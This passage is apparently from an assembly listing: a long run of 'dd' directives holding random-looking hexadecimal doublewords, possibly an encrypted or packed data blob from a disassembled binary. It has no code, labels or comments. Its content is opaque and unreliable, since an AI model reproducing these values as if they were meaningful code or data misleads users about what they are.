30A6C2DEh, 0B0427B0Bh dd 0B4A1156Ah, 0F69EF38h, 0E29F8CF8h, 33C5F718h, 8CEE4917h dd 6013C1F9h, 730D1FA2h, 0E53B0DC5h, 9E646F30h, 0A625DAB6h dd 3E053BE1h, 0CC5B90ECh, 78BD5526h, 58D02727h, 29D9343Bh dd 0C4242F78h, 4A4FE7FFh, 1810BDBCh, 44F58CDh, 0B75E8EBBh dd 0E4FAF2C4h, 0A90B0549h, 92EB8BDh, 0CDC07F6Fh, 635D26E9h dd 1BAF85E7h, 5E7939B3h, 0A972D4EAh, 0F2082F92h, 75960FC9h dd 926940A8h, 18D8BB90h dd 4933BEACh, 25F1AF6h, 0D2273EB8h, 80C14666h, 33B36EB5h dd 240C35Ah, 1CF7F810h, 5D85680Ah, 5DA728h, 15F3B8C1h dd 0E9260B6Bh, 0E5553BEFh, 627D250Bh, 0C8F1C0B8h, 6646CE2Fh dd 0BCE830E4h, 6881DEA6h, 0E4E94159h, 524A13EBh, 1D16EF5Fh dd 0F653FE93h, 9A22D91h, 0DC29AEDBh, 16502709h, 4933F864h dd 323BB8ECh, 88E00394h, 0B20CAC5Fh, 0BDD86CDAh, 94627EDCh dd 70C576ECh, 87B53EE9h, 6D0C0CDh, 2650F780h, 10ECFD88h dd 0EA300456h, 94AC2859h, 17AD2784h, 0FEC61CBEh, 4C27F24Fh dd 80536077h, 0BD2821EAh, 0C3ADC3E3h, 0CF1390B4h, 0F48B8734h dd 40D81910h, 315CAEF1h, 791FD3CBh, 0AB633F52h, 4046D203h dd 0FF1A7A35h, 4ADC9307h, 11E4DD10h, 2C7F0550h, 45E14399h dd 81A54051h, 825962EDh, 0EB89A912h, 4A1E5A0Dh, 7358E7C0h dd 4EC87B80h, 0AAFEC498h, 7B117D8Eh, 3BC20478h, 9081AC1Bh dd 34AFF02Ch, 5289C75Bh, 570880BAh, 2CF28112h, 24D33744h dd 496F18F8h, 187192E3h, 0F3051776h, 418C3D37h, 0ED5A68ECh dd 91F3CC1h, 0F5897E4Eh, 0D0F789B0h, 6D1C33B0h, 0C0AF9905h dd 82986228h, 560297DCh, 0F7773778h, 482D2EA0h, 6ABF90AAh dd 0AC09DCEDh, 0AF0F1266h, 0E2512C73h, 77D64405h, 475924CEh dd 0FB9EB560h, 0B0D9B7C1h, 6804303Eh, 80916C25h, 460238A4h dd 0D67EAB63h, 26BC8295h, 0C3D754EFh, 0D9FC13DAh, 4700EE2Bh dd 0A82011B9h, 0B8E1FE38h, 0AD4426D8h, 8686002h, 285EC975h dd 22BA7861h, 6DE192Ch, 0FD4AD444h, 1935E606h, 0B7104E39h dd 0B8974B84h, 9C175DF0h, 5256E5C5h, 0CA5EA7EAh, 0F961945Ch dd 0FC6AFEF1h, 2CFCB42Ah, 0B50FB12h, 5378D99Eh, 0C65E567Dh dd 41E1F2B0h, 0B050EC2Eh, 3F5E2B90h, 0E0EE1BD2h, 81E69630h dd 2F2E6041h, 5C6B7016h, 2C7AB9B1h, 71299DDh, 80AE6920h dd 5301C28Bh, 0C814FA30h, 0BECFDBDh, 0D1D5E961h, 0EFCFAF2h dd 58734E25h, 705C9D0Bh, 4C3EFE71h, 0B8B7AC96h, 5D0B5F95h dd 0F20AA8F4h, 0D549992Dh, 0A968E260h, 8F8D6BFFh, 7E322CECh dd 0CE5E802Fh, 0F12F5781h, 31F80DDFh, 12AC3E0Ah, 0D3A94D7Eh dd 5A093648h, 408ECA28h, 41F710B9h, 0FC13B4A0h, 0CCFAABECh dd 8B067561h, 0EA3A91E9h, 463C2640h, 12F75339h, 0FEEAD1D2h dd 11D40B44h, 8C7C590Bh, 78726FD1h, 2987F602h, 8D413AD7h dd 55C19318h, 0A79B24AFh, 0F1E98564h, 0EEE23DB4h, 0F7E04EFCh dd 60126E0h, 6480512Fh, 8DCBAB60h, 0DF58985Ch, 0E64F8697h dd 0B052E916h, 44CBF8FCh, 0EBD7C82Bh, 132ED12Ch, 45F08E2Fh dd 40DA2009h, 0DF2D7894h, 6AA64880h, 0F89535D5h, 0E9078028h dd 266BB675h, 70580EA0h, 933CFB9Ch, 0BD3F718h, 6C671C05h dd 0FF86208h, 35C36094h, 0EFE4D7B7h, 0A1A81F85h, 0A7E2E9C2h dd 530F3279h, 91554650h, 0C2881E14h, 28EE7358h, 0D5040C79h dd 0EDC05A66h, 0E11228C1h, 140ACA3Bh, 0F88DC48h, 0AE8077B4h dd 89CCEF57h, 9F6B5041h, 0A9D229F4h, 2571DFF2h, 16676858h dd 0AF3C4C72h, 48F77BCCh, 0E902EFD1h, 87F9784Dh, 0F4772C60h dd 0B2B3A297h, 0C05CB214h, 25445474h, 9EFC7278h, 7FE7E942h dd 54FCFD0Bh, 45E45FC5h, 773D0BF3h, 140020FFh, 3F4702E6h dd 0C637E19Fh, 0F4E90840h, 0F1CAB52Fh, 5511B303h, 15DC99C7h dd 403C715Ah, 8A1BF068h, 745B4C33h, 740F60F4h, 5926739h dd 3E444182h, 0B877FE04h, 6D980774h, 8E2016F4h, 0BEE9042Fh dd 0E94D8052h, 3ECFF9A3h, 6FD72635h, 5F169F30h, 49FC5CBDh dd 20EBB45Dh, 719F3CF6h, 81EA2D94h, 95B994FDh, 0F13D3785h dd 202E313Dh, 0EA5B8800h, 0FBB7D7E8h, 0DC607342h, 37F43AFCh dd 793C00B5h, 0B7227F13h, 78E329E1h, 0D3074A72h, 73644E5Ah dd 1371E1F8h, 89288AE9h, 0D9024123h, 0FB5D2114h, 84A13AA6h dd 3DEB2AF9h, 0A8D905B1h, 9F3C2EBFh, 6C254AAEh, 0BD28B05Bh dd 7BCB020Dh, 0EAE589B2h, 2E509988h, 1CD42768h, 34A06558h dd 7C9610ECh, 21F980B0h, 4611D806h, 212D8EB8h, 430C992Fh dd 8943443Ah, 18A7EFDDh, 0F465F84Ah, 89942CFBh, 0C5DED4BFh dd 5DB3928Ah, 505C89D7h, 12894A43h, 0EBD313A4h, 5884A9A3h dd 5DE8AA51h, 8D71EB92h, 846BCCE9h, 1E9FAA69h, 0B7081D27h dd 749554ABh, 0D108E421h, 205854E1h, 7441193Bh, 0A0CF21DCh dd 1480EF82h, 0B30CC104h, 0D3544105h, 7D4FB07h, 32E9080Fh dd 95EFBCB4h, 9AF659F2h, 427BC5Fh, 0BA6C04B9h, 0BD81D7F8h dd 0DB1E2299h, 0CD5EB1E8h, 0C1042FB8h, 647C42C4h, 693B1EAh dd 14821C08h, 200764DFh, 5158B3F4h, 41F205CDh, 81EE4B5Eh dd 2F3474ADh, 0B785A2FCh, 0C428EC59h, 0A9B0DCE9h, 0F9F9A066h dd 205D9D10h, 0E90DEC98h, 0E7155E3Bh, 44562FB7h, 38AD90F1h dd 0EA5B0B16h, 57627029h, 447BEF1Ch, 81C3313Fh, 2006E365h dd 0DEFE3DE3h, 5E91712h, 0D7F6CA42h, 4F44E151h, 0B0CF886Bh dd 3C280180h, 64FC5BDCh, 0AB5D1837h, 52A29B91h, 0F4A5BC6Ah dd 0A8BBFCABh, 70152F68h, 1588F7Ch, 0CAC59DC3h, 0E8041DA4h dd 0F8EB3919h, 0A0D0052h, 0E96E740Fh, 0F3CC4E9Eh, 56EE4B97h dd 6B7E00E3h, 2DC34FA5h, 0E6217801h, 5F00114h, 0C2A40744h dd 25DA4B6Dh, 8CD50090h, 0BB3D280Eh, 0D8301E02h, 0FC0FE911h dd 177E2DE2h, 3BE99F54h, 0DFF07AF2h, 0D0210D7Ah, 0F569CDE9h dd 84942AEAh, 0C7D0A8AAh, 6BEB76E9h, 64A4F4B1h, 3AD86D4Bh dd 12EE2B9Ch, 404DE8D9h, 558233CBh, 49DFE642h, 0C6E25B18h dd 0D0E82FB6h, 46D9C81Ch, 0AF793844h, 7120EF04h, 5FF4C131h dd 0C90E6C4Bh, 0D084E3ECh, 5BF23A66h, 3A72D948h, 35322CAEh dd 77ADE2B5h, 0B2CAC165h, 2C269A02h, 0DF02771Ch, 0D30F6D0Eh dd 0A8A117EAh, 80CEB338h, 285A6B63h, 1794DAF7h, 4ED4B97h dd 5E2F9F2h, 0C3FF412Ch, 0E5DAD884h, 447B4E6Ah, 9BAB5E13h dd 0A4E93446h, 1212CEFBh, 98E259CEh, 1D111510h, 1B05F181h dd 0D4BE32FDh, 3E0C010Bh, 3B1DCD27h, 1E83C9E1h, 2EA47FD2h dd 9624FCC1h, 0D8BFF369h, 6912EE25h, 0C4EB6029h, 5B080B7Eh dd 2F3EE411h, 153AF0Bh, 6B5EAC03h, 0EA2A59D5h, 9380EC58h dd 2C1A2DE3h, 0D5D1125Fh, 8257BD0Bh, 76C5EAB4h, 345C6998h dd 8F854C9h, 482D4C2Eh, 0B2E54FD9h, 9DF4B759h, 5EBDD717h dd 0A1248204h, 0BDC1AE39h, 0A925E507h, 407CB9D9h, 18B4FC5Bh dd 680E437Ch, 204C4FD9h, 88BE56B5h, 52E87109h, 0A5EE88E9h dd 7CBCCD81h, 4E3154A0h, 62F137F5h, 4C4CBACh, 0ACB7D49h dd 43A9C16Fh, 2D646E52h, 0F065EE8Dh, 0A0ADBEh, 1B69BBAAh dd 0FF0A4E64h, 9358388Bh, 570541Dh, 71DD291Eh, 0A0CD0111h dd 79B13BEh, 46E95104h, 0F85B0DE8h, 0A2AEE4ACh, 0FE13964Fh dd 0A09CF8E9h, 6C203490h, 0FE5AC421h, 58DBA747h, 85289449h dd 12601B61h, 120FC909h, 0A27FC884h, 27794C43h, 903F6628h dd 0AB10D370h, 38F33900h, 0BD2BCE3Dh, 0F57E7AE0h, 58A1704Eh dd 9378E89h, 6188097Eh, 0EF2D12CDh, 618B65C4h, 4BABAC5Eh dd 0BC7A14BEh, 0C1930F4Ah, 2B80074Bh, 68D67926h, 3ECE567Bh dd 18A0C45Eh, 163EDBA3h, 907B8F16h, 5F73BE6Ah, 6AC92050h dd 0F388CA0Fh, 79184BE9h, 808B4F1Bh, 7BBA4E40h, 46211E00h dd 3EF7BD55h, 120D78CEh, 57A4E9EAh, 2804BEC9h, 0DAAB47B6h dd 0E8175084h, 5B172103h, 12FA36E9h, 2F9302Ch, 2B050F1h dd 80582370h, 276A724Dh dd 0B80A99DEh, 99A86D7Ch, 0C81355EAh, 0E6C15201h, 239D1467h dd 0F129D3E6h, 18EA2E00h, 6A7DF2DEh, 2E6EB3FAh, 197DEB3h dd 0E6A1CAB8h, 98AD6879h, 726A8B6Ch, 39BB7D7Eh, 0BE5E8195h dd 0CC05F52Dh, 5D64381h, 0F700C87h, 0F06A39BCh, 20C080Dh dd 0B2555B14h, 0CB72F5E5h, 0E950E4B4h, 5FB8AA88h, 0BEC363A5h dd 0D21472B2h, 2570D242h, 0BC1C90Ch, 0CE613BEDh, 0AC38BA7Dh dd 72281E9Eh, 94628810h, 0C1A5CA7Dh, 0E3C056A4h, 9F8134E9h dd 965CC267h, 0C10F807Ah, 57B2CB30h, 0C4BA6812h, 787EEE4h dd 0EE527804h, 0FD056064h, 7EA4B045h, 350D07EAh, 0D4CF89CEh dd 2C5AC26h, 0A898E8BDh, 33605FD5h, 0D6A4814Dh, 72F57AC0h dd 9009037Dh, 24BA0B2Ah, 0E0622FC8h, 4AEF760h, 865EC928h dd 8618A73Ch, 146BE94Fh, 2BC21E41h, 3BB4A421h, 39B02660h dd 0E9185884h, 0AC84B84Ch, 0FE681D66h, 99A22F56h, 51D56DBFh dd 0A07A1759h, 0C1098091h, 0F8D1F601h, 43F13FF4h, 0E36AE093h dd 0CDAB93F9h, 0C7626C0h, 0A7250DE9h, 0AC6D4FEAh, 9573E79h dd 0D7FFF37Fh, 8B5AABF1h, 60DDE280h, 5FC04F41h, 534DB408h dd 492C3B12h, 3645D804h, 5E343218h, 0BDDFF39Dh, 457D5DA5h dd 3AE9414Bh, 78196462h, 48AD1D02h, 0D76E2F68h, 9100524h dd 0B0665D5Ah, 0BA22FF97h, 5CE8D345h, 41265393h, 0F6407567h dd 5A31F361h, 172AA858h, 0BFAEA29h, 787460EFh, 8046B261h dd 0B69716F9h, 50D9A23Eh, 0D913CCE1h, 0E72102BBh, 0A27FD3FDh dd 8407DA7Ch, 8803C045h, 0AA845AD0h, 0AA92ADB2h, 2E7B0CA0h dd 3B3FDFF6h, 17BBB3DEh, 0EE9D844Ah, 722552EDh, 8BC8B13Bh dd 440FF1CAh, 381CB0ABh, 9D7027C0h, 8BF71712h, 0EFDF54CBh dd 0D15A0964h, 7327191h, 0CDB854A4h, 0C037AE4Bh, 1D1EA4CFh dd 0DCA8188h, 294A7E6Fh, 20D82BE2h, 0BF3C7070h, 0FE7AADFEh dd 9964C246h, 5BB55F05h, 1E6C5841h, 81C2DA78h, 376148E6h dd 2259FC6Bh, 6AC4F195h, 0FF5812B9h, 0E87B0839h, 1297D5BEh dd 61BA01BBh, 362C6428h, 852D793Dh, 44DFFC06h, 0C211C058h dd 134AF612h, 0EEFCBE4h, 3B38172Ah, 36A5CFC0h, 74BD4F67h dd 0D3F780F0h, 9E68DF87h, 1C9285Ah, 2F8912F3h, 2C2EBFF8h dd 0E24B6158h, 0D2521074h, 85B1681Dh, 0C05D631Fh, 3D4633FDh dd 0A2E97F18h, 3B951BFh, 0EA5F059Ah, 0D5E9CE29h, 0E4613C4Ah dd 7A36980h, 0FA7A4AF6h, 54EDE91Ch, 0ED17BC06h, 62FB91A2h dd 7D01025Ch, 5AC0AE1Ah, 539D2572h, 0DD2225F5h, 8000D16Eh dd 66F61FEFh, 6300AD7h, 0FC28B113h, 0B669F404h, 40BC9CBFh dd 969DD05Ah, 30E1C800h, 0E9271618h, 7716FA23h, 18B259E8h dd 0A627AD77h, 3FFDA48Bh, 2E67C6FDh, 28275954h, 741D1225h dd 9DA6FA78h, 612A8FD0h, 59C82DDEh, 7F25FA54h, 0AD6378E2h dd 0E27B680Bh, 0BEDDFEh, 0DC41C998h, 500F07Eh, 0E07E89Dh dd 565880D6h, 2FDB6813h, 0AC7954B2h, 0E5796991h, 2D97F1DDh dd 75608330h, 4CB0114Eh, 0B97D0988h, 0F250432Ah, 1628E5F2h dd 45FEF960h, 0B2EB8814h, 45EE5EFFh, 211701F2h, 1C0C9FFh dd 0EF2BDD68h, 0EFD90B69h, 1F30E908h, 35BA3649h, 4AE41741h dd 0C580F201h, 0C0C6E987h, 794AA008h, 1E8A3553h, 0B8BDC08Eh dd 0DB1204F6h, 0AAE1313Ch, 0B1006561h, 58B588A2h, 83731F28h dd 9860FCBAh, 1C9EDECDh, 0D595BF2Ah, 0A60BC996h, 0D7CDEACEh dd 0F053F88Eh, 94404A2Dh, 8B2DF15Ah, 84C8AC4Ah, 27ADD002h dd 0BD4BBCD4h, 2BC4AEEh, 846510h, 7BE60D40h, 60F7710Eh dd 5BB72AD8h, 0D8BF9E80h, 0BA520E02h, 0AAB1AF5h, 0FF22CF8Ch dd 27CC0D16h, 0E159C81Ch, 0C0EC1AACh, 3574BDBAh, 0F78F508Bh dd 0EB041684h, 80D626F3h, 35CE969h, 7150ADBEh, 0EF1099CAh dd 3370F8C6h, 7639C505h, 0ACC06FBFh, 2BE636Bh, 17222D1Eh dd 425D53F2h, 5D0704E6h, 96A5ADBFh, 408D2988h, 0B900BF83h dd 0BE487C37h, 48CB27AEh, 1A256C35h, 1061AB12h, 303C3581h dd 0FFA209EBh, 0FC948BF5h, 249320DEh, 17989036h, 65E625h dd 7E465339h, 2EF2E281h, 0AF987372h, 22E37164h, 0FDED2DA3h dd 8C65678Fh, 4072D025h, 841AD5Ch, 0B82BCAF1h, 39C39681h dd 21EB8093h, 62D5158h, 0F118606Dh, 580CEBB6h, 241B023Dh dd 0F680FDA0h, 9FC680D6h, 5AF50928h, 470BCDFEh, 218481D6h dd 0F3AA1C57h, 0C5E90C20h, 0F0F7B1CEh, 4EAA586Ch, 2568BA50h dd 7E985098h, 479AB9E9h, 413C56BDh, 0F8FA89D7h, 66B5E15Ah dd 0CBC35A0Fh, 412655C1h, 0C92B6C48h, 6D442031h, 2EF32505h dd 8B80E1C1h, 3F551BC9h, 0F180379Ch, 6E436A01h, 0D7BAAEE9h dd 0BC82CA98h, 4EFF7057h, 6BD92D5Bh, 4B519233h, 74E2C6E9h dd 30611539h, 0D0CD6211h, 0B97B4C87h, 0B591C316h, 343A918Bh dd 883E4051h, 0DF40EAD9h, 26C86484h, 0C5804221h, 0B6485D77h dd 0DB9716C9h, 6F1C2D6Eh, 79FB5790h, 8C3875C9h, 48D5DDECh dd 23AA25EEh, 4ACDED97h, 5A5DAF68h, 68510220h, 65D1163Ah dd 0ADA39485h, 585A0575h, 0C8A02D72h, 33BB0053h, 4306DD0Ch dd 839EBC1h, 8481BAD1h, 679628AAh, 0A4E8B4C5h, 39798725h dd 2208B342h, 0D50BA09Ch, 0C8203085h, 34091F01h, 14D30AAh dd 5046B2EDh, 4BB668DCh, 9D698C5Eh, 0F5CD42BDh, 0CF9F6673h dd 0D6D79ACBh, 1BBD8BAEh, 7B4FE55Ch, 0F897E203h, 2D4E7607h dd 92769C07h, 9E72D42h, 3C4770Fh, 7EA7BDF9h, 41AA309h dd 0F4BC8463h, 25D0F700h, 8EA0426Dh, 679862Dh, 5980AC4Ah dd 1307E6C1h, 0F37590E9h, 627C25CBh, 0A35E77D0h, 0CC674470h dd 689EC11Eh, 59349927h, 0AF28B428h, 0E7D4DFFCh, 6E098126h dd 0D207E569h, 0E382A88Dh, 5D6A070Bh, 0E6D159A3h, 7B88F010h dd 3F13544Ch, 841DFD5Eh, 0D6A90D32h, 7E9BBEC0h, 4E0B04A0h dd 0E66B1F68h, 816A0225h, 2BE9FB5Fh, 0C78024D6h, 63037EE0h dd 0BC599529h, 5D753903h, 0E12C2D01h, 3EB93580h, 0DE14A448h dd 1043CE29h, 0E93C16F4h, 45E8804Bh, 0C172EDD1h, 7ACB034Bh dd 57A60617h, 101EF865h, 2C506556h, 0ED381A4Eh, 0C0FF3E68h dd 3F3DF33Eh, 0E5837891h, 6D031C8Bh, 1407F0E7h, 1176802h dd 0BF225DEEh, 0A9D94BBCh, 72D6CC43h, 695FFA98h, 898E770Eh dd 0B1E252FEh, 0BE825411h, 0F6925DA6h, 7041251Eh, 15F797D2h dd 7790AD3Ch, 41826472h, 0C760FC94h, 0CD312E14h, 966708EFh dd 65095512h, 54C6551Fh, 27418798h, 0F785CB45h, 63D6B390h dd 324D5BF7h, 8F484984h, 5C800FC0h, 996C4E68h, 5480C22Dh dd 54C06C5h, 0D5293F14h, 310840ACh, 2EF5EA72h, 0E9C020AAh dd 78B459B5h, 2454088Bh, 0DCC0FABAh, 4A372BB9h, 2FBDFC42h dd 0A17EF85Ah, 307F3C11h, 0BDE7E973h, 10262CB7h, 6E6C499Bh dd 426FB2C5h, 81DE959h, 46731055h, 500C2480h, 47940078h dd 95E945AEh, 58478E69h, 3C35E852h, 8B6F400Dh, 0F9CE8181h dd 0D6F7F43Ch, 4982E92Fh, 7FDCF358h, 2EAF9DCBh, 22E13363h dd 7D7E73D9h, 703D04FCh, 521F2072h, 0F93EBAAh, 6C6205Ah dd 8ABB5B4Bh, 0AC052689h, 0D1285885h, 908FC2FAh, 0FDAD2CE9h dd 2A79E8E7h, 68D82909h, 8977F4C3h, 4E410FBh, 0D4C6C8BDh dd 0BD9AB2CAh, 32A03E64h, 85D2F14Ah, 0D2DD32C3h, 7F7D4AABh dd 0E94157C5h, 957FB299h, 4846BB12h, 0BF6DFA8Fh, 0D0FD5942h dd 300CC186h, 3F320C6Eh, 4FCA10A4h, 0A472F844h, 4F9A2EEEh dd 0A6A166E2h, 665F00E4h dd 5DCE3A05h, 0F362D09h, 20D6F0DFh, 0F87D3EC0h, 100F26D2h dd 3C89E423h, 8F19D9ABh, 0CF44391Ch, 0B6EE138Bh, 0B81F7F45h dd 0D1C16340h, 8F38E9E8h, 2728F32Ah, 0E7AA7EB6h, 0E5E6C2CEh dd 7D791A7Dh, 0FC28AAC4h, 0FA97A2C9h, 0FDF95E3h, 0EB0AA7EAh dd 0C975FCDBh, 8D59265Ch, 68098778h, 32DD224Dh, 0A700C07Fh dd 0FB8B4C17h, 646E7511h, 0C2CB5252h, 265FB802h, 0C0574C0Dh dd 83DC706Bh, 0A94CA8ABh, 1C6001F9h, 0D5F734C0h, 352A913Bh dd 86F32B71h, 88319030h, 0E7E659ECh, 0A5ADF6B5h, 0D59D53EEh dd 3C6C2B24h, 506869E9h, 4C03DB5Fh, 0EF2568F4h, 0E928F13Ah dd 68053E5Bh, 2A271B8h, 69DA01C6h, 0F7555B25h, 5924DB4Dh dd 2D98F519h, 0E805B53Ah, 50F3B1EFh, 0D5372296h, 81614176h dd 6356A534h, 0F1E159C5h, 175D0743h, 5062E967h, 1C92717Eh dd 9C4382BFh, 78924553h, 411B7440h, 0E97B4604h, 0BF09B0B2h dd 204D5875h, 6B987C29h, 4D26520h, 17778FBEh, 370F802Fh dd 0B5B4C72h, 0BCC97CE0h, 128813FCh, 1646455Dh, 91DDEA0Fh dd 0DF8AB77Eh, 38BCCBD7h, 0BF053AC5h, 53644830h, 1AB60E52h dd 0F70386B7h, 6598805Ah, 876E7C0h, 0F364EF3Eh, 88C5FE32h dd 90254350h, 4F26E9E6h, 3E62AF16h, 3DEED648h, 5003815Fh dd 0F08103C8h, 4BB3D386h, 2D94F025h, 0CB06B80Fh, 5F8052Fh dd 7C5F0709h, 52614F5Fh, 20330925h, 0B0B653D1h, 991AF7E9h dd 0CED60B7Dh, 41839841h, 0B2B02FE5h, 16608234h, 3E024CCFh dd 831BD7Dh, 0FD5CC0D7h, 0C17CB55Fh, 0EAF7E942h, 1EB0700Ah dd 0CDAFA866h, 0ED8D62A9h, 0AA93BD02h, 0BD05DB78h, 50BA7DDFh dd 94BF7ED4h, 5F0B0B46h, 77583A92h, 12F653BFh, 4A7CBC38h dd 0B0555B3Ch, 0AD90B80h, 0DBFE3548h, 1A3FCA81h, 38826C51h dd 938465C3h, 852B095Dh, 4AEC2A1Bh, 262DEE93h, 60321860h dd 0EEB7BADh, 7350C07Fh, 4012BA95h, 40BE053Ch, 0B799F3FCh dd 7C90274Bh, 5D786B02h, 87EE836Eh, 1183C99h, 845758BAh dd 0A0928014h, 906FB04h, 827280D7h, 2A8C97B4h, 0CF27917h dd 288E69E4h, 327A860Ch, 83E00C5Fh, 7D2D0E5Bh, 0EA57253Eh dd 5807E610h, 25720C9h, 76F92D5Ch, 0FB404EC5h, 0AE1F0540h dd 0A12E979h, 17BBFEA4h, 370B706h, 62AC608Ah, 681265FEh dd 868C2BAFh, 0CF4136h, 716D1384h, 0F7813904h, 81EE624Fh dd 49C695E6h, 0CE972F9Bh, 0F696CBB2h, 226BEFF3h, 248A7974h dd 5492347Dh, 76A245D1h, 64B2B900h, 30FC2Dh, 3673F11Bh dd 413725DEh, 7C0255F6h, 0D8F51CE5h, 9C681364h, 527A37Fh dd 4BB6376Fh, 88B782BBh, 2023C1E1h, 2C033D64h, 0F7936270h dd 0E9019DD0h, 60A78D05h, 423EBC78h, 407490F4h, 910ABA84h dd 0CC678A16h, 0AB369A00h, 0B2D3E975h, 441DB37Ah, 5AE90333h dd 0E51D0103h, 29080C1Dh, 884BF055h, 20AB66BDh, 71B7E1EAh dd 42520322h, 90B72F10h, 72D623A8h, 98614BB7h, 4A1D7737h dd 1C9A19Ah, 6830D7E0h, 377C71Eh, 0DF2179A2h, 0FDC13DC8h dd 2FD6A82Ch, 0D19D712Dh, 6BE63B5Ch, 3D77884h, 0C2A3F480h dd 164854DAh, 0B99DFB5Eh, 11FDF22Eh, 0A84EEEE3h, 0F3EBF544h dd 17EBC539h, 686870AFh, 23962158h, 0DA8DB860h, 95315A2Bh dd 2E9CAAC8h, 0C0A6418Ch, 1DB659EFh, 0F9693051h, 36685B05h dd 0C868AB51h, 14E91950h, 32AC50B9h, 0D0BA108Ah, 0E17F5B25h dd 0FFCE2ECBh, 68255F1Eh, 40501AE8h, 5C3530h, 0CE8169AFh dd 4BD80FC6h, 82B95105h, 8D826C76h, 2D04DE55h, 0A2491457h dd 0DA0820F8h, 0B55A0288h, 0E9784E5Eh, 8897A3A4h, 7B1BE58h dd 31074349h, 0D9F3D2C6h, 23F76ECBh, 0C2ACD8F7h, 24F0DB9Ch dd 0D5875F9Dh, 1446F9C3h, 0C494E92Ch, 0CD1557ADh, 0BA715C97h dd 5C2D602Ch, 0E01E103h, 9FE1184Bh, 0D7CB2C76h, 7F2077E7h dd 0B958542Dh, 0BF205FE3h, 3A619776h, 0A9FD3B5Bh, 788AEEA4h dd 0EADE662Dh, 7AC46042h, 2F0504E6h, 0B1D4ADC1h, 714E7BE8h dd 58ED160Ch, 92E23E9Bh, 4C278764h, 45271841h, 0FB56D6C6h dd 0A127FDEh, 89CCEA27h, 3EBF41EDh, 0F696EFECh, 0F871890Dh dd 2F1D904Ah, 88C678B7h, 0BA1A9907h, 13E24170h, 0AD4C30h dd 0EFEDD223h, 295DE931h, 33D9CE5Bh, 0F82E2021h, 0D7815F03h dd 989F6BF0h, 535E812Dh, 0F1C50995h, 1E263CBEh, 27FCF028h dd 0DB9C447h, 0B6E4F5CBh, 0B99D4160h, 0F8020774h, 0E21D745Bh dd 38D08DE9h, 0D7FC594Eh, 0D6E7EA1Eh, 4F4AB841h, 0A9E539E9h dd 44C617A8h, 19BE88BBh, 3F030B49h, 0CC1A95F1h, 557D16D9h dd 263941F3h, 0B2DC5ABDh, 79882B54h, 0A8804AF3h, 0F74E6945h dd 31982694h, 0FAC7229Fh, 288B5959h, 128E0AF1h, 7860930h dd 7B9C21B2h, 4A9710D7h, 0D1C03C47h, 0FD68E412h, 7DC2251Eh dd 0DFF0B1C2h, 2109424Fh, 0A5F0FB5Fh, 0F7C93AFDh, 5FA7CA51h dd 0A0F14289h, 0D21F6949h, 0C2DD22D2h, 2C8C800Ch, 2D4A9415h dd 0AC700FD8h, 2C1F183h, 74B7D51h, 491700F2h, 29F410B2h dd 5D25DF96h, 3E05A13Bh, 0A9CF41F1h, 0E250F993h, 1662D904h dd 6FA2A1E0h, 6E49FBCEh, 5F469D28h, 5ECAE9EEh, 862927C1h dd 2773EFA6h, 0F8F52E9Ah, 68F99D0Eh, 8416574Bh, 9CAB024Fh dd 0FC9FEFC1h, 43F789FCh, 4BABCE5Fh, 60A2B54Bh, 0CF5C01C3h dd 7A6F1369h, 0FEC41EACh, 0DBF705B9h, 1726EFC0h, 481EA9Fh dd 7E1BEDCDh, 28C9EA0Dh, 96A63644h, 0F83E4251h, 6857A297h dd 13076837h, 875E7544h, 4C18700Bh, 7B12E919h, 0CBA8FEE3h dd 6497C786h, 0E90DDABFh, 69DAFC6Eh, 2804DC08h, 0A2A40D61h dd 3AD3FC63h, 0A52B5DBAh, 0C28AEA82h, 0D1F6BBABh, 2DBFF112h dd 719600F1h, 64BEF02h, 4208A403h, 0DBA8A978h, 0C1D1BF34h dd 11C1411Ah, 94266EBFh, 72601386h, 0C0F90566h, 0F563B5B4h dd 0FB5802EAh, 0A66F098Ah, 4119E655h, 0DEB09637h, 68829FE2h dd 0E4A3755Fh, 0E1027A2Ah, 4055F335h, 0ABE4F513h, 37F18CC3h dd 0F9D79580h, 62BF6FE1h, 4F4940DEh, 1F4C200Dh, 886CAF1h dd 0C4140E58h, 38D7C35h, 132774E6h, 10F6E02Ch, 20110A23h dd 4A9FF701h, 0DE0409B0h, 40A8EF5Bh, 57EC6297h, 6679F2D1h dd 0F050EB2Fh, 34B845A1h, 0FB97366Dh, 1DD627D9h, 0C116805h dd 36A2698h, 0E947F66Eh, 9703E0C2h, 5755BDCBh, 2107DF17h dd 5AD505A8h, 3BF0BF5Eh, 0DD564A87h, 25FD7FF5h, 0C06A0326h dd 0C01A61BEh, 0C2EF074Bh, 8957F2B8h, 95F95F19h, 0D78030C9h dd 0E01BD5Ah, 7F725848h, 0C631A0h, 81626E2Eh, 0F61609E7h dd 28E90F0Bh, 88965113h, 8B252DBCh, 0EFDA0046h, 0A2772E96h dd 0B778D0C3h, 68848ACFh, 0CAFA0B94h, 88E916F7h, 255A1154h dd 8AF154BEh, 88E94482h, 0E32DE849h, 0ADC49900h, 876BE5C1h dd 0ED816F1Ch, 7F762C7Ch, 0E9D0BDB1h, 37C89D9Ch, 724C6968h dd 64C1D733h, 0B792F984h, 30A1FEC7h, 0FF2BB261h, 0FE085829h dd 0B38C7A68h, 56C30B8Ah, 940BA4D3h, 602EF99Eh, 139757D3h dd 3E0C114h, 7A9906BDh, 9820A22h, 74344B23h, 0E172002h dd 33F6B6A9h, 0BFAB5318h, 0A54A003Ah, 50CF8176h, 33764372h dd 5BC8F705h, 41AB1223h, 3BDE49BDh, 0CEF33F9Ah, 0D9426BC9h dd 0E1C84841h, 0F8163B8Ch, 56DFF0BDh, 4D68493Ch, 0E08D027Fh dd 0D4E4D509h, 6370F6B5h, 32B342B9h, 0A2E19401h, 4964C12Fh dd 40D8D520h, 30255ACAh, 8A60E5E5h, 187B944Ch, 8A396C08h dd 0DCEE5425h, 0BA72860h dd 226C3AD3h, 71171758h, 0B3F05FDBh, 3E1B2445h, 4E67105Ch dd 0F3B114F9h, 0F5258071h, 6AFB35D0h, 0A8ED48C1h, 35894D2Fh dd 0F6C0027Fh, 59FA84D5h, 0EAF15B8Dh, 9D5AD3F8h, 2844F7FEh dd 5F8A0882h, 0B15F0198h, 10B0D3DDh, 0B5FEE146h, 2A18C64h dd 20D7C1B8h, 0CC3FCFBFh, 0E3062D38h, 325CC043h, 0EB1C510Fh dd 4840E27Bh, 589E7DC1h, 7658E782h, 94FB820Eh, 0DE9B8E6Bh dd 501154C2h, 800F407Ch, 22A60520h, 404701E9h, 79FBA7F4h dd 0EB5F810Bh, 0E90BC8A9h, 0BFE88A2Bh, 532F2EE5h, 0CA20C33Eh dd 0C7DD0B12h, 0B7942A90h, 